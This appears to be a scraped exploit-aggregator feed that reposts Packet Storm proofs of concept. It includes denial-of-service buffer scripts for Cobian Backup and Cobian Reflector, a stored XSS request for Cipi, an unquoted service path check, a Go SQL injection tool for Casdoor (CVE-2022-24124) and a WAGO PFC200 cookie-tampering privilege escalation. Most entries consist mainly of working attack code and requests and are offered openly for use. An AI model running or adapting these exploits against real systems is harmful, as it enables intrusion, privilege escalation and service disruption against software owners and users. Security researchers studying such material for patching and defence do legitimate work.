Hacking Articles Tips Tricks Videos Tutorials

# Exploit Title: Cobian Backup 11 Gravity 11.2.0.582 - 'Password' Denial of Service (PoC)
# Discovery by: Luis Martinez
# Discovery Date: 2022-02-16
# Vendor Homepage: https://www.cobiansoft.com/
# Software Link: https://files.cobiansoft.com/programs/cbSetup.exe
# Tested Version: 11.2.0.582
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es

# Steps to Produce the Crash:
# 1.- Run python code: Cobian_Backup_11.2.0.582.py
# 2.- Open Cobian_Backup_11.2.0.582.txt and copy content to clipboard
# 3.- Open "Cobian Backup 11 Gravity User Interface"
# 4.- Task -> "New task"
# 5.- File -> Source "Add" -> FTP
# 6.- Host -> 10.10.10.10
# 7.- Port-> 21
# 8.- User name -> admin
# 9.- Paste ClipBoard on "Password"
# 10.- Ok
# 11.- Crashed

#!/usr/bin/env python

buffer = "\x41" * 800
f = open ("Cobian_Backup_11.2.0.582.txt", "w")
f.write(buffer)
f.close()

Source:packetstormsecurity.com

6 views18:29

5 views18:29

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Cipi Control Panel 3.1.15 Cross Site Scripting

https://3.bp.blogspot.com/-cErR-NKa5pU/WWlvUH06dSI/AAAAAAAAINw/w0uVuk51vEgh40coJSJAKFsc2nT9tBwYgCLcBGAs/s1600/h44.png
Cipi Control Panel version 3.1.15 suffers from a cross site scripting vulnerability.

MD5 | b04b829aac8192cfedc8758d2dac7ef8

Download

# Exploit Title: Cipi Control Panel 3.1.15 - Stored Cross-Site Scripting (XSS) (Authenticated)
# Date: 24.02.2022
# Exploit Author: Fikrat Ghuliev (Ghuliev)
# Vendor Homepage: https://cipi.sh/ <https:
# Software Link: https://cipi.sh/ <https:
# Version: 3.1.15
# Tested on: Ubuntu

When the user wants to add a new server on the "Server" panel, in "name"
parameter has not had any filtration.

POST /api/servers HTTP/1.1
Host: IP
Content-Length: 102
Accept: application/json
X-Requested-With: XMLHttpRequest
Authorization: Bearer
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Content-Type: application/json
Origin: http://IP
Referer: http://IP/servers
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{
"name":"\">",
"ip":"10.10.10.10",
"provider":"local",
"location":"xss test"
}

Source:packetstormsecurity.com

8 views18:29

Hacking Articles Tips Tricks Videos Tutorials

6 views18:29

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Cobian Reflector 0.9.93 RC1 Denial Of Service

https://4.bp.blogspot.com/-xJ4j9VfFswY/WWlvOf_vUlI/AAAAAAAAIMo/D1-kp_Mj10E1aNmsGMS5n6nKC28DofOXwCLcBGAs/s1600/h25.png
Cobian Reflector version 0.9.93 RC1 suffers from a denial of service vulnerability.

MD5 | 8c7b7b39512ad817357cfa1b8ae0161c

Download

# Exploit Title: Cobian Reflector 0.9.93 RC1 - 'Password' Denial of Service (PoC)
# Discovery by: Luis Martinez
# Discovery Date: 2022-02-16
# Vendor Homepage: https://www.cobiansoft.com/
# Software Link: https://files.cobiansoft.com/programs/crSetup-0.9.93-RC1.exe
# Tested Version: 0.9.93 RC1
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es

# Steps to Produce the Crash:
# 1.- Run python code: Cobian_Reflector_0.9.93_RC1.py
# 2.- Open Cobian_Reflector_0.9.93_RC1.txt and copy content to clipboard
# 3.- Open "Cobian Reflector User Interface"
# 4.- Task -> "New task"
# 5.- Files -> Source "Add" -> SFTP
# 6.- Host -> 10.10.10.10
# 7.- Port-> 22
# 8.- User name -> admin
# 9.- Paste ClipBoard on "Password"
# 10.- Test settings
# 11.- Yes
# 12.- Crashed

#!/usr/bin/env python

buffer = "\x41" * 8000
f = open ("Cobian_Reflector_0.9.93_RC1.txt", "w")
f.write(buffer)
f.close()

Source:packetstormsecurity.com

6 views18:29

Hacking Articles Tips Tricks Videos Tutorials

4 views18:29

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Cobian Backup Gravity 11.2.0.582 Unquoted Service Path

https://4.bp.blogspot.com/-slZrAXCcTc4/WWlvSkUdx-I/AAAAAAAAINc/GD9pE2wpupUfP-XcYlxrz5jw2m91dZTOgCLcBGAs/s1600/h39.png
Cobian Backup Gravity version 11.2.0.582 suffers from an unquoted service path vulnerability.

MD5 | 46bd77dc69f3fa337cf53e932b441d30

Download

# Exploit Title: Cobian Backup Gravity 11.2.0.582 - 'CobianBackup11' Unquoted Service Path
# Discovery by: Luis Martinez
# Discovery Date: 2022-02-24
# Vendor Homepage: https://www.cobiansoft.com/
# Software Link : https://files.cobiansoft.com/programs/cbSetup.exe
# Tested Version: 11.2.0.582
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro x64 es

# Step to discover Unquoted Service Path: 

C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "Gravity " | findstr /i /v """
Cobian Backup 11 Gravity  CobianBackup11  C:\Program Files (x86)\Cobian Backup 11\cbService.exe  Auto
# Service info:

C:\>sc qc CobianBackup11
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: CobianBackup11
TYPE               : 10  WIN32_OWN_PROCESS
START_TYPE         : 2   AUTO_START
ERROR_CONTROL      : 1   NORMAL
BINARY_PATH_NAME   : C:\Program Files (x86)\Cobian Backup 11\cbService.exe
LOAD_ORDER_GROUP   :
TAG                : 0
DISPLAY_NAME       : Cobian Backup 11 Gravity
DEPENDENCIES       :
SERVICE_START_NAME : LocalSystem

#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.

Source:packetstormsecurity.com

4 views18:29

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Casdoor 1.13.0 SQL Injection

https://3.bp.blogspot.com/-BKQJl1oXbqE/WWlvQjSZMJI/AAAAAAAAINE/UWb7sXt4uvssyXVrWpwrINbeIcIr93_vACLcBGAs/s1600/h33.png
Casdoor version 1.13.0 suffers from a remote SQL injection vulnerability.

MD5 | 16e19334ce8fca7c8023e6e8c196fd9c

Download

// Exploit Title: Casdoor 1.13.0 SQL Injection (Unauthenticated) 
// Date: 2022-02-25
// Exploit Author: Mayank Deshmukh
// Vendor Homepage: https://casdoor.org/
// Software Link: https://github.com/casdoor/casdoor/releases/tag/v1.13.0
// Version: version < 1.13.1
// Security Advisory: https://github.com/advisories/GHSA-m358-g4rp-533r
// Tested on: Kali Linux
// CVE : CVE-2022-24124
// Github POC: https://github.com/ColdFusionX/CVE-2022-24124

// Exploit Usage : go run exploit.go -u http://127.0.0.1:8080

package main

import (
"flag"
"fmt"
"html"
"io/ioutil"
"net/http"
"os"
"regexp"
"strings"
)

func main() {
var url string
flag.StringVar(&url, "u", "", "Casdoor URL (ex. http://127.0.0.1:8080)")
flag.Parse()

banner := `
-=Casdoor SQL Injection (CVE-2022-24124)=- 
- by Mayank Deshmukh (ColdFusionX)

`
fmt.Printf(banner)
fmt.Println("[*] Dumping Database Version")
response, err := http.Get(url + "/api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=updatexml(null,version(),null)")

if err != nil {
panic(err)
}

defer response.Body.Close()

databytes, err := ioutil.ReadAll(response.Body)

if err != nil {
panic(err)
}

content := string(databytes)

re := regexp.MustCompile("(?i)(XPATH syntax error.*')")

result := re.FindAllString(content, -1)

sqliop := fmt.Sprint(result)
replacer := strings.NewReplacer("[", "", "]", "", "'", "", ";", "")

finalop := replacer.Replace(sqliop)
fmt.Println(html.UnescapeString(finalop))
if result == nil {
fmt.Printf("Application not vulnerable\n")
os.Exit(1)
}

}

Source:packetstormsecurity.com

4 views18:29

Hacking Articles Tips Tricks Videos Tutorials

Exploit Collector
Axis IP Camera Shell Upload

Kitploit

Axis IP Camera Shell Upload

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

3 views18:29

Hacking Articles Tips Tricks Videos Tutorials

3 views18:29

Hacking Articles Tips Tricks Videos Tutorials

3 views18:29

Hacking Articles Tips Tricks Videos Tutorials

Exploit Collector
Win32k ConsoleControl Offset Confusion / Privilege Escalation

Kitploit

Win32k ConsoleControl Offset Confusion / Privilege Escalation

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

4 views18:29

Hacking Articles Tips Tricks Videos Tutorials

4 views18:29

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
WAGO 750-8212 PFC200 G2 2ETH RS Privilege Escalation

https://3.bp.blogspot.com/--aVxNCIn1VA/WWlvnVN-uzI/AAAAAAAAIRQ/ADDhvty6Qn8T3Zf1bX42ni77vOOnTgOQwCLcBGAs/s1600/hack_img5.png
WAGO 750-8212 PFC200 G2 2ETH RS suffers from a privilege escalation vulnerability.

MD5 | 6466008b91f5fa677f2021a112398c39

Download

# Exploit Title: WAGO 750-8212 PFC200 G2 2ETH RS Privilege Escalation
# Date: 02/16/2022
# Exploit Author: Momen Eldawakhly (Cyber Guy) at Cypro AB
# Vendor Homepage: https://www.wago.com
# Version: Firmware version 03.05.10(17)
# Tested on: PopOS! [Linux](Firefox)
# CVE : CVE-2021-46388

========================================
= The ordinary user privilege request:
========================================

GET /wbm/ HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://192.168.1.1/wbm/
Cookie: NG_WBM_SESSION=qru3ocrpde79m5f73526i65uv5; user={%22name%22:%22user%22%2C%22roles%22:[%22user%22%2C%22guest%22]%2C%22hasDefaultPassword%22:true%2C%22csrf%22:%22U2fJfixrfWtLEbVFL6b71oou1yk1WqKTsdFo52yavqrTF86f%22%2C%22timestamp%22:1642368720673%2C%22sessionExists%22:true}

==========================================
= Manipulated Cookie to Admin Privilege:
==========================================

GET /wbm/ HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://192.168.1.1/wbm/
Cookie: NG_WBM_SESSION=qru3ocrpde79m5f73526i65uv5; user={%22name%22:%22admin%22%2C%22roles%22:[%22admin%22%2C%22admin%22]%2C%22hasDefaultPassword%22:true%2C%22csrf%22:%22U2fJfixrfWtLEbVFL6b71oou1yk1WqKTsdFo52yavqrTF86f%22%2C%22timestamp%22:1642369499829%2C%22sessionExists%22:true}

Source:packetstormsecurity.com

4 views18:29

About

Blog

Apps

Platform